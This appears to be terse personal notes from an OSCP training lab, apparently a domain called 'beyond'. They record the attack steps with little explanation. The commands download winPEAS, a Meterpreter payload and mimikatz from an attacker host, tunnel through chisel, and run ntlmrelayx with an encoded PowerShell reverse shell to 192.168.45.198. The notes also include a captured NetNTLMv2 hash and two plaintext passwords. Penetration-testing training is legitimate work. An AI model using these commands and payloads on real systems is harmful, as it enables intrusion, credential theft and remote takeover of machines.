oscp/Labs/beyond.md

PS C:\Windows\System32\WindowsPowerShell\v1.0. whoami whoami beyond\marcus PS C:\Windows\System32\WindowsPowerShell\v1.0. hostname hostname CLIENTWK1 PS C:\Windows\System32\WindowsPowerShell\v1.0. ipconfig ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . : IPv4 Address. . . . . . . . . . . : 172.16.160.243 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.16.160.254 PS C:\Windows\System32\WindowsPowerShell\v1.0.

iwr -uri http://192.168.45.198:8000/winPEASx64.exe -Outfile winPEAS.exe

type C:\Users\marcus\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt

͹ Enumerating Security Packages Credentials Version: NetNTLMv2 Hash: marcus::BEYOND:1122334455667788:7a11d0ea1ca545e49688cde3c7ce30d9:01010000000000003f5f925128c6da013686d0a90db8fdca000000000800300030000000000000000000000000200000ca9c7210e9cfb74dcdbdb6246cc4618e90a419e1fc1edc60f3ec2c47c1dcbd220a00100000000000000000000000000000000000090000000000000000000000

͹ Network Ifaces and known hosts The masks are only for the IPv4 addresses Ethernet0[00:50:56:9E:65:CE]: 172.16.160.243 / 255.255.255.0 Gateways: 172.16.160.254 DNSs: 172.16.160.240 Known hosts: 172.16.160.240 00.50.56.9E-FA-ED Dynamic 172.16.160.254 00.50.56.9E-DA-CD Dynamic 172.16.160.255 FF-FF-FF-FF-FF-FF Static 224.0.0.22 01.00.5E-00.00.16 Static 224.0.0.251 01.00.5E-00.00.FB Static 224.0.0.252 01.00.5E-00.00.FC Static 239.255.255.250 01.00.5E-7F-FF-FA Static

iwr -uri http://192.168.45.198:8000/met.exe -Outfile met.exe

sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.160.240 172.16.160.241 172.16.160.254

./chisel.exe client 192.168.45.198:8080 R:80:172.16.160.241:80

DANIelaRO123

**sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.229.242 -c **“powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOQA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7AHQAcgB5ACAAewAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAJABkAGEAdABhACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAiACQAXwBgAG4AIgB9ADsAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA”

iwr -uri http://192.168.45.198:8000/met.exe -Outfile met.exe

iwr -uri http://192.168.45.198:8000/mimikatz.exe -Outfile mimikatz.exe

NiftyTopekaDevolve6655!#!